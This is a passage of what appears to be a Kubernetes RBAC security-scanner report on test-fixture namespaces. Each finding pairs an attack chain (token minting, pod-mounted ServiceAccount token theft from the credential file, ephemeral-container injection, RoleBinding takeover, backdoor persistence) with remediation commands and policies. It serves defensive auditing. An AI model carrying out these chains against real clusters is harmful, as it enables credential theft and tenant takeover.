  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Namespace 7.1
ServiceAccount/rbac-fixtures/sa-token-create can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-token-create → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/rbac-fixtures/sa-token-create has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
2. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/ via modify_role_binding (create,update,patch rolebindings): can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/rbac-fixtures/sa-token-create yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-token-create (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker abuses RoleBinding write access (create,update,patch rolebindings) to add themselves (or any subject they control) to a high-privilege ClusterRoleBinding, typically cluster-admin. They don't need the target role's permissions today, only the ability to change bindings.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create,update,patch rolebindings capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:rbac-fixtures:sa-token-create (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create,update,patch rolebindings capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/vulnerable/privileged-reader Namespace 7.1
ServiceAccount/vulnerable/privileged-reader can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
Scope · Namespace Source ServiceAccount/vulnerable/privileged-reader → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/vulnerable/privileged-reader has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/vulnerable/privileged-readerServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
2. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/ via modify_role_binding (create,update,patch rolebindings): can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/vulnerable/privileged-reader yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/vulnerable/privileged-reader (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker abuses RoleBinding write access (create,update,patch rolebindings) to add themselves (or any subject they control) to a high-privilege ClusterRoleBinding, typically cluster-admin. They don't need the target role's permissions today, only the ability to change bindings.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-readerServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create,update,patch rolebindings capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:vulnerable:privileged-reader (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create,update,patch rolebindings capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
MEDIUM ServiceAccount/privesc-fixtures/sa-ephemeral Namespace 6.6
ServiceAccount/privesc-fixtures/sa-ephemeral can reach namespace-admin in `rbac-ns-fixtures` in 3 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-ephemeral → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
3. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/ via modify_role_binding (create,update,patch rolebindings): can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-ephemeral yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-ephemeral (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker abuses RoleBinding write access (create,update,patch rolebindings) to add themselves (or any subject they control) to a high-privilege ClusterRoleBinding, typically cluster-admin. They don't need the target role's permissions today, only the ability to change bindings.
  5. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  3. Step 3 of 3 RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create,update,patch rolebindings capability that enables hop 3 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:privesc-fixtures:sa-ephemeral (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create,update,patch rolebindings capability that enables hop 3 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
MEDIUM ServiceAccount/privesc-fixtures/sa-pod-exec Namespace 6.6
ServiceAccount/privesc-fixtures/sa-pod-exec can reach namespace-admin in `rbac-ns-fixtures` in 3 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-pod-exec → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-pod-create via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
3. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/ via modify_role_binding (create,update,patch rolebindings): can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-exec yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-pod-exec (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/rbac-fixtures/sa-pod-create and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker abuses RoleBinding write access (create,update,patch rolebindings) to add themselves (or any subject they control) to a high-privilege ClusterRoleBinding, typically cluster-admin. They don't need the target role's permissions today, only the ability to change bindings.
  5. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  3. Step 3 of 3 RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create,update,patch rolebindings capability that enables hop 3 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:privesc-fixtures:sa-pod-exec (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create,update,patch rolebindings capability that enables hop 3 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
MEDIUM ServiceAccount/privesc-fixtures/sa-pod-create-escape Namespace 6.1
ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach namespace-admin in `rbac-ns-fixtures` in 4 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-pod-create-escape → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
2. ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
3. ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
4. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/ via modify_role_binding (create,update,patch rolebindings): can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

